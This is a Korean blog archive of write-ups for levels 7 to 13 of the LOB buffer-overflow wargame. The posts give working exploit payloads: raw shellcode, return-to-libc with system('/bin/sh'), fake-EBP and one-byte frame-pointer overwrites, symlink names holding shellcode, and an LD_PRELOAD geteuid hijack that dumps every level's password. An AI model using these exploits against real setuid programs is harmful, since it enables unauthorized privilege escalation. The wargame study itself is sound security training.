해킹/LOB - 22

  1. LOB_13.darkknight->bugbear 2016.01.29
  2. LOB_12.golem->darkknight 2016.01.28
  3. LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기 2016.01.27
  4. LOB_11.skeleton->golem 2016.01.27
  5. LOB_10.vampire->skeleton 2016.01.22
  6. LOB_9.troll->vampire 2016.01.22
  7. LOB_8.orge->troll 2016.01.22
  8. LOB_7.darkelf->orge 2016.01.21

LOB_13.darkknight->bugbear

해킹/LOB 2016. 1. 29. 19:16


이제 스텍으로 리턴할 수 없어졌다.

스텍이 나를 배신했단다..ㅎㅎ

윗쪽에 힌트를 보니 RTL이라고 써져있다 Return To Library 즉 라이브러리로 리턴하는 문제이다.


리턴주소를 변조할수는 있되 \xbf가 첫바이트로 들어가서는 안되니 0x40으로 시작하는 라이브러리 영역으로 점프를 하면 된다.

그중에서도 나는 쉘을 실행시키고 싶으니 system함수로 점프해서 인자로 "/bin/sh"를 전달해주면 되겠다.


그러기위해서는 system 함수의 주소와 "/bin/sh"의 주소가 필요하겠다.

"/bin/sh"를 스텍에 넣어주는 방법도 생각했으나 뒤에 널바이트가 필요하다. 페이로드의 맨 뒤에 널과 함께 넣어줘도 될것 같기는 하지만 더 나은 방법이 있어서 패스했다.





이런식으로 라이브러리를 로딩시키기 위해 프로그램을 실행시킨 뒤

p system을 해서 system 함수의 주소를 찾았다.

그리고 그 뒷주소를 검색해보니 저런식으로 얼마 지나지 않아 /bin/sh라는 문자열의 주소가 있는것을 볼 수 있었다.

라이브러리에 저렇게 편리하게 써먹을 수 있는 문자열이 박혀잇는 이유는 system 함수가 /bin/sh -c 명령어 이런식으로 실행되기 때문이란다. 즉 언제나 저 위치에 "/bin/sh"라는 문자열이 박혀있을 수밖에 없다.


아무튼 그렇게 해서 찾은 주소는

system 함수의 주소: 0x40058ae0

"/bin/sh"의 주소:0x400fbff9


------------------------------------------------------------------------------------------------------------------------------

에... 여기서 문제를 간단하게 풀려면 "a"*44+"\x40058ae0"+"bbbb"+"\x400fbff9" 이런식으로 페이로드를 작성하면 된다.

이렇게 하면 프로그램에서 40058ae0으로 리턴한 다음 system 함수의 프롤로그 과정에서 ebp가 "a"*44가 끝나는 부분으로 맞춰진다.

그리고 거기서 8바이트 뒤가 인자를 전달받는 부분이므로 \x400fbff9가 인자로 들어가서 쉘을 실행시켜줄 것이다.

이게 사실 정답이고 가장 합리적으로 이 문제를 푸는 방법이다. 페이로드까지 작성하자면

./bugbear `python -c 'print "a"*44+"\xe0\x8a\x05\x40"+"bbbb"+"\xf9\xbf\x0f\x40"'`

-------------------------------------------------------------------------------------------------------------------------------


음 하지만 나는 fake ebp도 연습할겸 리턴주소 뒷부분(bbbb~)을 채우지 않고 풀어봤다. 아마 나중에 버퍼길이 제한이 있는 문제가 나오면 요긴하게 써먹을 수 있을 것이다.

fake ebp는 함수가 실행될때 ebp 주소를 착각하도록 하는 방식이다.

전에도 다뤘지만 SFP에 들어있는 내용이 leave ret 하면서 ebp로 들어가게 된다.

보통은 이렇게 SFP만 바꿔주면 되지만 0x40058ae0같이 함수의 첫부분으로 이동하게 되면 함수의 프롤로그(push ebp, mov ebp, esp)가 실행되면서 ebp가 esp를 기준으로 다시 맞춰져버린다.

그렇기 때문에 여기서는 프롤로그 3바이트를 뛰어넘어 0x40058ae3으로 리턴할 것이다.

그때 ebp가 가르키는값 +8 부분에 "/bin/sh"의 주소인 0x400fbff9가 들어있으면 되겠다.

즉 스택안에 0x400fbff9라는 값을 집어넣어주고 SFP를 저 값이 들어있는 주소 -8로 조작해주면 된다.




gdb에서 일단 대충 집어넣고 실행시켰다. 블록지정한 0x62626262가 /bin/sh의 주소가 들어갈 부분, 0x63636363과 0x64646464가 각각 SFP와 리턴이 들어갈 부분이다.

어차피 gdb에서 실행했을때와 주소가 다를게 뻔하므로 나와서 다시 실행시킨 뒤 core 파일을 분석해서 정확한 주소를 알아보는게 낫겠다.



똑같이 실행을 시켜준후에 코어파일을 보자.




방금전 buffer가 시작되었던 주소 근처를 뒤져보니 역시나 약간 밀린채로 들어있다.


이제 저 0x62626262부분에 "/bin/sh"가 들어있는 주소인 0x400fbff9를 넣어주고 

SFP에는 0x62626262의 주소 -8인 0xbffffa8c를 넣어준다.

마지막으로 리턴주소는 system함수의 주소 +3(프롤로그 생략) 부분인 0x40058ae3을 넣어주면 된다.


그러면 system함수는 fake ebp인 0xbffffa8c의 8바이트 뒷쪽에서 문자열을 찾을것이고 그부분에 0x400fbff9가 들어있으니 "/bin/sh"가 전달될 것이다.


이제 이 시나리오에 맞게 페이로드를 구성하면

./bugbear `python -c 'print "a"*36+"\xf9\xbf\x0f\x40"+"\x8c\xfa\xff\xbf"+"\xe3\x8a\x05\x40"'`

이렇게 되겠다. 시도해보자.




성공이다.

끝- 하고싶지만 RTL에 들어가면서 \x90을 사용했던 스텍 리턴에 비해 정확한 주소를 요구하게 되면서... bash2와 관련된 예상하지 못했던 심각한 삽질을 요하는 문제가 생겼었다. 주소가 계속 바뀌고 되던 페이로드가 안되는 현상이 있다면 다음 포스팅을 참고하자.

http://satanel001.tistory.com/99

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_14.bugbear->giant  (0) 2016.01.31
LOB_번외.bash2의 함정.  (0) 2016.01.29
LOB_12.golem->darkknight  (0) 2016.01.28
LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기  (0) 2016.01.27
LOB_11.skeleton->golem  (0) 2016.01.27
Tags
Social

LOB_12.golem->darkknight

해킹/LOB 2016. 1. 28. 16:12


음.. 드디어 리턴주소 자체를 덮을 수 없게 되었다.

main에서 problem_child라는 함수를 호출하여 40바이트 버퍼에 41바이트를 strncpy하여 1바이트만 덮도록 되어있다.

즉 problem_child의 SFP, 그중에서도 마지막 1바이트만 덮을 수 있다.



http://satanel001.tistory.com/59

전에 fake ebp관련 공부하면서 함수의 프롤로그와 에필로그에 대해서 공부한 내용이다.

이부분을 어느정도 숙지하고 있어서 이 문제를 해결하는데 그렇게 애를 먹지는 않았다.

모르고있었다면 정말 막막했을듯...



스택에서 이 SFP라는 녀석은 항상 ebp가 가르키는 주소에 들어있는데 바로 뒤 4바이트에 리턴 주소가 들어있다.

둘은 용도도 유사하다. 리턴 함수가 끝나고 돌아갈 코드영역의 주소인것 처럼 SFP는 함수가 끝나고 돌아갈 이전 함수의 ebp를 가지고 있다.

자세한건 위 포스팅을 참고하고.... 이 배경지식을 바탕으로 공격 계획을 짜보면.


1.problem_child의 SFP를 변조한다.

2.이 SFP는 problem_child의 에필로그 과정을 거쳐 함수 main의 ebp로 사용된다.

3.main은 이 조작된 ebp의 다음영역 즉 ebp+4부분을 리턴으로 인식해서 점프할 것이다.

4.그러므로 스텍 어딘가에 쉘코드와 그 시작주소를 넣어주고

5.시작주소 -4부분으로 problem_child의 SFP를 변조해주면 되겠다.



이런 계획을 바탕으로 동적 디버깅을 해보자.






입력값은 a 4자리와 마지막 41번째의 c 한자리, 가운데는 전부 b로 채워줬다.

블록지정한 부분이 SFP 부분인데 보이는것처럼 한바이트가 0x63('c')로 덮혀있다.

이제 할것은 저 a로 덮인 4자리에 리턴주소를 넣어주고 그 앞 4바이트인 0xbffffa80으로 main의 ebp를 바꿔줄 것이다.

그러기 위해선 블록지정한 SFP의 0x63한바이트를 0x80으로 바꿔주면 되겠다.

a에 들어갈 리턴주소는 0x62('b')가 시작되는 부분으로 넣어주면 main이 끝나며 b로 덮힌 영역을 실행할 것이다.

이부분에 쉘코드를 넣어주면 된다.

최종적인 페이로드는



./darkknight `python -c 'print "\x88\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x80"'`

이렇게 된다. 시도해보자.



성공했다.

코드를 보니 이런형태의 공격을 FPO라고 하는 모양이다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_번외.bash2의 함정.  (0) 2016.01.29
LOB_13.darkknight->bugbear  (0) 2016.01.29
LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기  (0) 2016.01.27
LOB_11.skeleton->golem  (0) 2016.01.27
LOB_10.vampire->skeleton  (0) 2016.01.22
Tags
Social

LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기

해킹/LOB 2016. 1. 27. 19:54

LD_PRELOAD에 대해서 공부하면서 알게된 사실인데 my-pass파일은 매우 취약하다.

이 프로그램은 geteuid를 해서 사용자의 euid에 맞는 패스워드를 출력해준다.

그런데 LD_PRELOAD라는 환경변수는 특정한 함수를 미리 등록해 둘 수 있다.

그 함수와 같은 이름의 함수를 나중에 libc에서 만나더라도 LD_PRELOAD에 있는 함수를 우선적으로 사용한다.

즉 geteuid가 원하는 단계의 uid를 리턴하도록 LD_PRELOAD를 사용해서 조작할 수 있다.

그러면 my-pass는 조작된 geteuid의 결과에 따라 다른 아이디의 비밀번호를 뱉어낼 것이다.





먼저 gate로 로그인해서 my-pass를 읽어봤다. 500~ 520까지가 LOB의 각 단계를 나타내는 uid들이다.






이런식으로 getuid라는 함수를 단순히 520을 뱉도록 정의하는 geteuid.c 파일을 만들었다.






gcc -o geteuid -shared -fPIC geteuid.c

이런식으로 LD_PRELOAD에 등록할 수 있도록 컴파일을 해준뒤 등록하고 my-pass를 실행시키니

geteuid함수가 520이라는 값을 돌려줘서 my-pass가 최종 비밀번호인 got the life를 뱉는것을 확인했다.





'해킹 > LOB' 카테고리의 다른 글

LOB_13.darkknight->bugbear  (0) 2016.01.29
LOB_12.golem->darkknight  (0) 2016.01.28
LOB_11.skeleton->golem  (0) 2016.01.27
LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_9.troll->vampire  (0) 2016.01.22
Tags
Social

LOB_11.skeleton->golem

해킹/LOB 2016. 1. 27. 19:32


golem.c의 내용인데 이제 buffer변수로부터 그 위쪽의 스텍을 전부 지워버린다.

메모리를 샅샅히 뒤져봤지만 더이상 입력값이 남아있을만한 공간이 없다.

결론부터 얘기하자면 이 문제는 LD_PRELOAD라는 환경변수를 이용해서 풀었다.


이 환경변수에 파일을 등록해주면 bash에서 프로그램 실행시 해당 파일을 먼저 라이브러리에 로딩해준다.

그리고 libc와 같은 이름의 함수가 있다고 해도 이 파일이 우선순위를 가진다.

쉽게말해서 golem 프로그램에서 사용하는 printf같은 함수를 등록해서 전혀 다른 기능을 하게끔 바꿔버릴 수도 있는 것이다.

printf의 기능을

void printf(){

setreuid(geteuid(), geteuid());

execve("/bin/sh", NULL, NULL);

}

이런식으로 바꿔줄 수도 있는 것이다.


하지만 안타깝게도 setuid가 걸린 프로그램에서는 제대로 동작하지 않는다.

그렇다고 완전히 무시되는 것은 아니고 파일명은 올라가게된다.

LD_PRELOAD에 이름이 쉘코드인 파일을 올려놓으면 프로그램이 실행되면서 어딘가에 쉘코드가 적재될 것이다.

그 주소가 buffer변수의 주소보다 낮은 주소에 올라간다면 stack destroyer의 영향을 받지 않아서 쉘코드를 실행시킬 수 있을 것이다.

그럼 우선 이름이 쉘코드인 라이브러리 파일을 만들어주자.




위와같이 gcc -shared -fPIC 옵션을 사용하면 LD_PRELOAD에 올라갈 파일을 만들어줄 수 있다.

어차피 setuid가 걸린 golem 프로그램에서는 라이브러리가 제대로 실행되지 않기 때문에 oxqo.c의 내용 자체는 별로 중요하지 않다. 이름을 쉘코드로 만들어서 메모리 어딘가에 올리는 것이 목적이다.

주의할점은 "\x2f"가 들어가지 않은 쉘코드를 사용했다는 점이다. 전처럼 디렉토리를 만들어서 해도 되지만 그냥 다양항 방식으로 해보기 위해 48바이트짜리 2f가 없는 쉘코드를 사용했다.

파일을 만들어준 다음 LD_PRELOAD 환경변수에 등록해줬다.

이제 원본 golem프로그램을 복사해와서 동적분석을 통해 쉘코드가 어디에 올라가는지 살펴보자.




main의 프롤로그가 끝나고 나서 살펴보니 ebp의 주소가 0xbffffaa8이다.

저부분을 기준으로 0xbfffffff부분까지 뒷쪽은 전부 memset되어 버릴테니 저것보다 낮은 주소를 검색해보자.





gdb 버전이 높다면 find 명령어를 사용해도 되지만..  사용할수 없을 경우 이런식으로 변수를 이용해서 검색할 수 있다.

ebp주소부터 1씩 빼가면서 쉘코드의 앞부분과 일치하는지 살펴본 결과 0xbffff68a부분에 쉘코드가 로드된 것을 볼 수 있다.

복사본 golem에서 저주소로 리턴을 주고 공격하자 segmetationfalt가 뜬다. 아마 gdb에서 실행될때와 주소차이가 좀 있는듯.




core파일을 분석해서 정확한 주소를 알아냈다. 0xbffff64a

찾는방법은 위와 동일하게 메모리를 가르키는 변수를 하나 주고 감소시키면서 찾았다.




성공했다.

자세히 보면 tmp 폴더에서 ../golem으로 원본파일을 실행시킨 것이 보이는데 LD_PRELOAD=./쉘코드 이런식으로 입력을 해줘서 원본이 있는 폴더에서 실행시키자 로드할 파일을 못찾는 사태가 발생했다. 원래부터 LD_PRELOAD에 전체경로를 입력했으면 이렇게 안해도 되었으나... 포스팅의 완성도가 조금 떨어진다는것 빼고는 별 다를점은 없으므로 패스

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_12.golem->darkknight  (0) 2016.01.28
LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기  (0) 2016.01.27
LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_9.troll->vampire  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
Tags
Social

LOB_10.vampire->skeleton

해킹/LOB 2016. 1. 22. 23:47


드디어 모든 argv를 다 memset해버렸다..

이것참 이제 어디에 쉘코드가 들어갈수 있을까 한참을 고민하다 찾아본 결과 argv[0] 이외에도 프로그램의 경로, 이름이 스텍 어딘가에 저장된다고 한다.

그럼 우선 전처럼 쉘코드를 경로로 가지는 심볼릭 링크를 만들어주자.



이렇게 해서 경로가 쉘코드인 심볼릭 링크를 만들었다. 자세한 설명은 http://satanel001.tistory.com/89 참조

gdb로 분석해보자.





어차피 메모리상 어디에 있는지 모르니 굳이 실행시키며 볼 필요 없이 main 시작부분에 bp를 걸고 쉘코드를 찾아봐야한다.

gdb로 메모리에서 특정 값을 검색하는 방법이 있다.




이렇게 하면 된다. find명령어를 제공하는 gdb도 있는 모양인데 잘 모르겠고... 나는 보통 이렇게 해왔다.

먼저 첫번째줄에서 x라는 변수에 0xbfff0000이라는 값을 집어넣고(이것보다 더 낮은주소에 있을리는 없다)

x의 주소를 증가시키면서 해당주소의 값이 쉘코드의 첫부분인 0x31b0c031과 일치할때까지 while문이 도는 방식이다.


그래서 쉘코드의 위치를 찾긴 했는데... 밑에 0x61이 잔뜩 있는걸 보니 여기는 argv[0]부분이다. 나중에 memset당할 부분이므로 사용할 수 없다. 아직 프로그램을 끝까지 실행하지 않아서 남아있는 것 뿐이다.




x의 초기값을 argv 뒷부분으로 잡아주고 다시 검색하니 0xbfffffd2부분에 정말로 쉘코드(파일명)가 들어있는걸 확인했다!!

스텍의 최대범위인 0xbfffffff에서 딱 4바이트의 null만 남겨두고 채워진걸 보니 항상 스텍의 최상단에 위치하는 모양이다.

이제 심볼릭링크를 원본파일에 걸어주고 0xbfffffd2를 리턴값으로 덮어주면 된다.





익스플로잇에 성공했다. LOB 절반 클리어... 이제부터는 풀어본적 없는 문제들이다. 차근차근 해보자.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_번외.my-pass파일을 공격해서 한번에 마지막까지 뚫기  (0) 2016.01.27
LOB_11.skeleton->golem  (0) 2016.01.27
LOB_9.troll->vampire  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
Tags
Social

LOB_9.troll->vampire

해킹/LOB 2016. 1. 22. 20:32


거추장스러웠던 조건들이 많이 사라지고 \xff를 체크하는 새로운 조건이 생겼다.

점프하는 주소가 \xbfff~~~~이면 안된다는 뜻이다.


32비트의 메모리 지도상에서 0xc0000000 ~ 0xffffffff까지 는 커널의 영역이고 그 아래 0xbfffffff부터 아래로 스텍이 자라나므로 어지간히 스텍을 많이 사용하지 않으면 스텍의 주소는 0xbfff~~~~일 수밖에 없다. 그러므로 스텍을 어지간히 많이 사용하도록 만들어주면 된다.



우선 0xbfff~~~~ 부분을 사용하던 프로그램이 최소 0xbffe~~~~까지는 내려와야 하는데 그러려면 최소 0x00010000=65536바이트정도 스텍을 사용하도록 해야한다. argv[2]에 아무 문자열이나 집어넣고 스텍을 살펴보자.





워낙 많이넣어서 0xbffe~~~~근처 아무데나 잡아도 다 b(\x62)가 나온다.

\x62들 대신 \x90을 넣어주고 뒤에 쉘코드를 붙인 뒤 대략 저기보이는 0xbffeff40쯤에 리턴주소를 떨궈주면 성공할 것 같다.


`python -c 'print "a"*44+"\x40\xff\xfe\xbf"+" "+"\x90"*65536+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`




메모리 구조만 알면 간단한 문제였다.

끝-

'해킹 > LOB' 카테고리의 다른 글

LOB_11.skeleton->golem  (0) 2016.01.27
LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
Tags
Social

LOB_8.orge->troll

해킹/LOB 2016. 1. 22. 19:53

새로 추가된 부분을 보아하니 argv[1] 이외의 다른 argv를 사용할 수 없게끔 만들어놨다.

그리고 argv[1]역시 마지막에 memset해서 argv[1]의 주소역시 사용할수 없을 듯 하다.

또 어디에 입력값이 남아있을까 고민해보니 argv[0]을 사용할 수 있을것 같았다.


argv[0]은 보통 프로그램의 경로+이름이 들어있는 부분이다.

우리가 실행할 프로그램의 argv[0]는 /home/orge/troll로 고정적이지만 심볼릭 링크를 걸어서 원하는 이름과 경로로 troll 프로그램을 실행시킬 수 있다.

쉘코드를 이름으로 가지는 심볼릭 링크를 troll 프로그램에 걸어주자.




ln -s 명령어로 심볼릭 링크를 걸어주려 하니 No such file or directory라며 실행이 안된다.

/home/orge/troll만 입력했을때 실행이 되는걸 보니 원본은 아니고 심볼릭 링크의 이름에 문제가 있는 것이다.

원인은 바로 쉘코드에 들어있는 '/' 때문이다. \x2f가 ascii 코드상 '/'에 해당하는데 이 문자를 만나면 이전까지를 폴더로 인식하게 되고 해당 폴더를 찾다가 없으니 에러를 뱉는 것이다.

예컨데 ln -s oxqo1 oxqo2/oxqo3 이런식으로 입력할 경우 "oxqo2/oxqo3"이라는 심볼릭 링크를 만드는 것이 아니라 oxqo2라는 폴더에  oxqo3이라는 심볼릭 링크를 만들려고 하기 때문에 에러가 난다.

이부분을 해결하려면 \x2f가 없는 쉘코드를 새로 짜서 사용하면 된다. 

하지만 더 간단한 방법도 있다.


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


빨간색으로 표시된 \x2f를 기준으로 그 앞부분에 파란색을 이름으로 하는 폴더를 만들고 그 안에 뒷쪽 파란색을 이름으로 하는 폴더를 또 만든 다음 그 안에 마지막으로 검은색을 이름으로 하는 심볼릭 링크를 만들어주면 된다.

\x2f가 겹쳐있지만 실행할때 '/'를 여러개 겹쳐도 경로를 잘 찾으니 상관없다.

난 이방법이 쉘코드를 새로 만드는 것보다 편하다고 생각한다.

물론 이미 \x2f가 없는 쉘코드를 가지고 있다면 그 쉘코드를 쓰는게 훨씬 편하다.

명령어는


mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68"'`


mkdir `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"'`

ln -s /home/orge/troll `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


이런식으로 \x2f를 기준으로 쉘코드를 잘라서 디렉토리와 심볼릭 링크를 만들어주면 된다.
우선은 동적 디버깅을 위해 심볼릭 링크 /home/orge/troll이 아닌 orge의 권한으로 복사한 /home/orge/tmp/troll에 걸어줬다.



이렇게 링크를 걸어준 후 gdb로 argv[0]의 위치를 찾아보자.






블럭지정한 부분이 argv[1][47]과 0xbf를 비교하는 부분이니 저기서 edx에 들어있는 주소 근처에 argv[0]이 있을 것이다.

bp를 걸고 확인해보자.





블록지정한 0xbffffc2a 부터 쉘코드가 시작되는것이 보인다.





먼저 복사본을 가르키고 있던 심볼릭 링크를 지우고 원본을 가르키게 다시 만든 다음 최종적인 페이로드는


`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+" "+"a"*44+"\x2a\xfc\xff\xbf"'`


이런식으로 심볼릭 링크를 파이썬으로 실행시키고 리턴주소가 아까 그 0xbffffc2a를 가르키도록 덮어줬다.





성공~!

끝-






'해킹 > LOB' 카테고리의 다른 글

LOB_10.vampire->skeleton  (0) 2016.01.22
LOB_9.troll->vampire  (0) 2016.01.22
LOB_7.darkelf->orge  (0) 2016.01.21
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
Tags
Social

LOB_7.darkelf->orge

해킹/LOB 2016. 1. 21. 19:55


음 추가되었다는 부분(//here is changed!)을 보아하니 argv[0]의 길이가 77이 아니면 프로그램을 종료시키는 기능이 추가되었다.

음... 사실 이게 공격에 대한 방어로서 무슨 의미가 있을까 싶긴 하지만..


우선은 다음단계로 가기위해 필요하니 넘어가자. argv[0]에 들어가는 내용은 프로그램을 실행하는 이름이다.

그러면 ./orge라는 프로그램의 이름을 77바이트로 늘려야하는데 얼마전 쉘코드를 작성하면서 알게된거지만 ./////orge 이런식으로 '/'를 아무리 늘려도 프로그램은 정상적으로 실행된다. (방금 기억났는데 예전에 이문제를 처음 풀때는 ../../../../.............../home/darkelf/orge이런식으로 바이트수를 맞춰줬던것 같다... 집념의 사나이..)


일단 ./orge가 6바이트이므로 '.' + '/' 72개 + "orge" 하면 총 77바이트가 될것이다.

숫자를 셀 필요 없이 파이썬을 이용하면 좀더 쉽게 뽑아낼 수 있다.



 


이런식으로 프로그램 이름을 뽑아냈다. 이제 argv[1]로 들어갈 페이로드를 작성해야 한다.

tmp 폴더를 만들어서 orge 프로그램을 복사해넣고 gdb로 열어야 하는데... 이걸로 동적분석을 하려고 하면 분명히 argv[0] 체크 부분에서 걸릴것이다.

gdb .///////................///////////orge 이런식으로 열면 bash에서와 마찬가지로 argv[0]의 길이를 맞춰줄수 있다.

gdb에서는 절대경로로 프로그램을 열기 때문에 /home/darkelf/tmp/ 이렇게 18바이트를 빼고 59바이트를 맞춰주면 된다.

물론 그냥 gdb org로 연 다음에 길이비교를 하는 부분에서 gdb의 set 명령어로 strlen의 결과가 들어있는 레지스터를 77로 조작해줘도 동적분석을 할수 있으나 그렇게 하면 실제 argv[1]과 gdb로 볼때의 argv[1]의 주소 차이가 너무 벌어질 것이다.

아무튼 gdb '.'+'/'*54+"orge" 해준후 argv[1]의 주소가 어디쯤인지 알아보자.


gdb .//////////////////////////////////////////////////////orge





위 캡쳐처럼 실행시키고 아래 캡쳐 부분에서 main+275부분에 strcpy가 실행되기 전에 bp를 걸어놨다.

ebp-40부분이 buffer인것이 보인다. argv[1]에서 45~48번째 문자 4바이트가 리턴주소로 들어갈것이다.

지난번과 마찬가지로 r `python -c 'print "a"*47+"\xbf"'`를 해서 조건을 최대한 우회하면서 strcpy까지 프로그램을 진행시켰다.

strcpy가 실행되기 전 edx에 들어있는 값이 argv[1]의 주소일 것이다.




0xbffffbd5부분이 argv[1]의 시작주소인 것을 확인했다.

이제 a대신 쉘코드를 넣고 리턴주소를 0xbffffbd5로 덮어주자.



역시 주소 오차때문에 세그멘테이션 폴트가 뜨며 꺼져버렸다. 코어가 생성되었으므로 코어를 분석해보자.



0xbffffbd5부분에 0x00밖에 없고 segmentation fault는 0xbfffffad에서 떴다. 이말은 해당 주소까지 다 0x00으로 채워져있다는 뜻이다.

그러므로 오차가 어느정도 생겼는지 알아보기 위해서 더 낮은주소를 봐야한다.




어느정도 빼면서 메모리를 살펴보니 다행히 금방 쉘코드의 위치를 찾았다. 하얗게 블록지정한 곳이세 0x90이 시작되는것을 볼수 있다.

0xbffffb85지점이다.

이제 리턴주소를 해당지점으로 수정해서 페이로드를 작성하자.


.////////////////////////////////////////////////////////////////////////orge `python -c 'print "\x90"*3+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x85\xfb\xff\xbf"'`




결과는 성공이다.

끝-


'해킹 > LOB' 카테고리의 다른 글

LOB_9.troll->vampire  (0) 2016.01.22
LOB_8.orge->troll  (0) 2016.01.22
LOB_6.wolfman->darkelf  (0) 2016.01.21
LOB_5.orc->wolfman  (0) 2016.01.21
LOB_4.goblin->orc  (0) 2016.01.21
Tags
Social